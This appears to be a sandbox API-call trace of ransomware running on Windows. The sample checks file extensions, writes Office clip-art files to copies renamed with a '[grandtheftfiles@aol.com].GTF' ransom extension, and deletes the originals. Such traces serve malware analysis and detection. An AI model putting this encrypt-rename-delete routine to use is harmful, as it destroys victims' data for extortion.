	[0182.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68
	[0182.270] lstrlenW (lpString=".1cd") returned 4
	[0182.270] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68
	[0182.270] lstrlenW (lpString=".jpg") returned 4
	[0182.270] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.270] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0182.270] lstrlenW (lpString="J0185786.WMF") returned 12
	[0182.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0182.271] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=39330) returned 1
	[0182.271] CloseHandle (hObject=0x544) returned 1
	[0182.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf")) returned 0x220
	[0182.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0182.272] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.272] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0182.273] GetLastError () returned 0x0
	[0182.273] ReadFile (in: hFile=0x544, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x99a2, lpOverlapped=0x0) returned 1
	[0182.276] WriteFile (in: hFile=0x558, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x99b0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x99b0, lpOverlapped=0x0) returned 1
	[0182.277] ReadFile (in: hFile=0x544, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.277] WriteFile (in: hFile=0x558, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.277] SetEndOfFile (hFile=0x558) returned 1
	[0182.278] CloseHandle (hObject=0x558) returned 1
	[0182.278] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.278] SetEndOfFile (hFile=0x544) returned 1
	[0182.282] CloseHandle (hObject=0x544) returned 1
	[0182.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf")) returned 1
	[0182.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68
	[0182.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68
	[0182.284] lstrlenW (lpString=".doc") returned 4
	[0182.284] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.284] lstrlenW (lpString=".docx") returned 5
	[0182.284] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0182.284] lstrlenW (lpString=".pdf") returned 4
	[0182.284] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.284] lstrlenW (lpString=".xls") returned 4
	[0182.284] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.284] lstrlenW (lpString=".xlsx") returned 5
	[0182.284] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0182.284] lstrlenW (lpString=".ppt") returned 4
	[0182.284] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68
	[0182.284] lstrlenW (lpString=".zip") returned 4
	[0182.284] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.284] lstrlenW (lpString=".rar") returned 4
	[0182.284] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.284] lstrlenW (lpString=".bz2") returned 4
	[0182.284] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.284] lstrlenW (lpString=".7z") returned 3
	[0182.284] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68
	[0182.284] lstrlenW (lpString=".dbf") returned 4
	[0182.284] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68
	[0182.284] lstrlenW (lpString=".1cd") returned 4
	[0182.284] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68
	[0182.284] lstrlenW (lpString=".jpg") returned 4
	[0182.284] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68
	[0182.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68
	[0182.284] lstrlenW (lpString=".doc") returned 4
	[0182.284] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.284] lstrlenW (lpString=".docx") returned 5
	[0182.284] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0182.284] lstrlenW (lpString=".pdf") returned 4
	[0182.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.285] lstrlenW (lpString=".xls") returned 4
	[0182.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.285] lstrlenW (lpString=".xlsx") returned 5
	[0182.285] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0182.285] lstrlenW (lpString=".ppt") returned 4
	[0182.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68
	[0182.285] lstrlenW (lpString=".zip") returned 4
	[0182.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.285] lstrlenW (lpString=".rar") returned 4
	[0182.285] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.285] lstrlenW (lpString=".bz2") returned 4
	[0182.285] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.285] lstrlenW (lpString=".7z") returned 3
	[0182.285] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68
	[0182.285] lstrlenW (lpString=".dbf") returned 4
	[0182.285] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68
	[0182.285] lstrlenW (lpString=".1cd") returned 4
	[0182.285] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68
	[0182.285] lstrlenW (lpString=".jpg") returned 4
	[0182.285] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.286] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0182.286] lstrlenW (lpString="J0185790.WMF") returned 12
	[0182.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0182.287] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=20662) returned 1
	[0182.288] CloseHandle (hObject=0x544) returned 1
	[0182.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf")) returned 0x220
	[0182.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0182.288] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.291] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0182.291] GetLastError () returned 0x0
	[0182.291] ReadFile (in: hFile=0x544, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x50b6, lpOverlapped=0x0) returned 1
	[0182.294] WriteFile (in: hFile=0x558, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x50c0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x50c0, lpOverlapped=0x0) returned 1
	[0182.295] ReadFile (in: hFile=0x544, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.295] WriteFile (in: hFile=0x558, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.295] SetEndOfFile (hFile=0x558) returned 1
	[0182.296] CloseHandle (hObject=0x558) returned 1
	[0182.296] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.296] SetEndOfFile (hFile=0x544) returned 1
	[0182.300] CloseHandle (hObject=0x544) returned 1
	[0182.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf")) returned 1
	[0182.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68
	[0182.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68
	[0182.301] lstrlenW (lpString=".doc") returned 4
	[0182.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.301] lstrlenW (lpString=".docx") returned 5
	[0182.301] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0182.301] lstrlenW (lpString=".pdf") returned 4
	[0182.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.301] lstrlenW (lpString=".xls") returned 4
	[0182.301] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.301] lstrlenW (lpString=".xlsx") returned 5
	[0182.301] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0182.301] lstrlenW (lpString=".ppt") returned 4
	[0182.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68
	[0182.301] lstrlenW (lpString=".zip") returned 4
	[0182.301] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.301] lstrlenW (lpString=".rar") returned 4
	[0182.301] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.301] lstrlenW (lpString=".bz2") returned 4
	[0182.301] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.301] lstrlenW (lpString=".7z") returned 3
	[0182.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68
	[0182.301] lstrlenW (lpString=".dbf") returned 4
	[0182.301] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68
	[0182.302] lstrlenW (lpString=".1cd") returned 4
	[0182.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68
	[0182.302] lstrlenW (lpString=".jpg") returned 4
	[0182.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68
	[0182.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68
	[0182.302] lstrlenW (lpString=".doc") returned 4
	[0182.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.302] lstrlenW (lpString=".docx") returned 5
	[0182.302] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0182.302] lstrlenW (lpString=".pdf") returned 4
	[0182.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.302] lstrlenW (lpString=".xls") returned 4
	[0182.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.302] lstrlenW (lpString=".xlsx") returned 5
	[0182.302] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0182.302] lstrlenW (lpString=".ppt") returned 4
	[0182.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68
	[0182.302] lstrlenW (lpString=".zip") returned 4
	[0182.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.302] lstrlenW (lpString=".rar") returned 4
	[0182.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.302] lstrlenW (lpString=".bz2") returned 4
	[0182.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.302] lstrlenW (lpString=".7z") returned 3
	[0182.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68
	[0182.302] lstrlenW (lpString=".dbf") returned 4
	[0182.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68
	[0182.302] lstrlenW (lpString=".1cd") returned 4
	[0182.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68
	[0182.302] lstrlenW (lpString=".jpg") returned 4
	[0182.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.303] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0182.303] lstrlenW (lpString="J0185796.WMF") returned 12
	[0182.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0182.304] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=25868) returned 1
	[0182.304] CloseHandle (hObject=0x544) returned 1
	[0182.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf")) returned 0x220
	[0182.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0182.305] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.305] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0182.306] GetLastError () returned 0x0
	[0182.306] ReadFile (in: hFile=0x544, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x650c, lpOverlapped=0x0) returned 1
	[0182.545] WriteFile (in: hFile=0x558, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x6510, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x6510, lpOverlapped=0x0) returned 1
	[0182.609] ReadFile (in: hFile=0x544, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.609] WriteFile (in: hFile=0x558, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.609] SetEndOfFile (hFile=0x558) returned 1
	[0183.547] CloseHandle (hObject=0x558) returned 1
	[0183.722] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.722] SetEndOfFile (hFile=0x544) returned 1
	[0183.907] CloseHandle (hObject=0x544) returned 1
	[0183.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.907] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf")) returned 1
	[0183.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68
	[0183.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68
	[0183.908] lstrlenW (lpString=".doc") returned 4
	[0183.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.908] lstrlenW (lpString=".docx") returned 5
	[0183.908] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0183.908] lstrlenW (lpString=".pdf") returned 4
	[0183.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.908] lstrlenW (lpString=".xls") returned 4
	[0183.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.908] lstrlenW (lpString=".xlsx") returned 5
	[0183.908] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0183.908] lstrlenW (lpString=".ppt") returned 4
	[0183.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68
	[0183.909] lstrlenW (lpString=".zip") returned 4
	[0183.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.909] lstrlenW (lpString=".rar") returned 4
	[0183.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.909] lstrlenW (lpString=".bz2") returned 4
	[0183.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.909] lstrlenW (lpString=".7z") returned 3
	[0183.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68
	[0183.909] lstrlenW (lpString=".dbf") returned 4
	[0183.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68
	[0183.909] lstrlenW (lpString=".1cd") returned 4
	[0183.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68
	[0183.909] lstrlenW (lpString=".jpg") returned 4
	[0183.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68
	[0183.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68
	[0183.909] lstrlenW (lpString=".doc") returned 4
	[0183.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.909] lstrlenW (lpString=".docx") returned 5
	[0183.909] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0183.909] lstrlenW (lpString=".pdf") returned 4
	[0183.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.909] lstrlenW (lpString=".xls") returned 4
	[0183.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.909] lstrlenW (lpString=".xlsx") returned 5
	[0183.909] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0183.909] lstrlenW (lpString=".ppt") returned 4
	[0183.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68
	[0183.910] lstrlenW (lpString=".zip") returned 4
	[0183.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.910] lstrlenW (lpString=".rar") returned 4
	[0183.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.910] lstrlenW (lpString=".bz2") returned 4
	[0183.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.910] lstrlenW (lpString=".7z") returned 3
	[0183.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68
	[0183.910] lstrlenW (lpString=".dbf") returned 4
	[0183.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
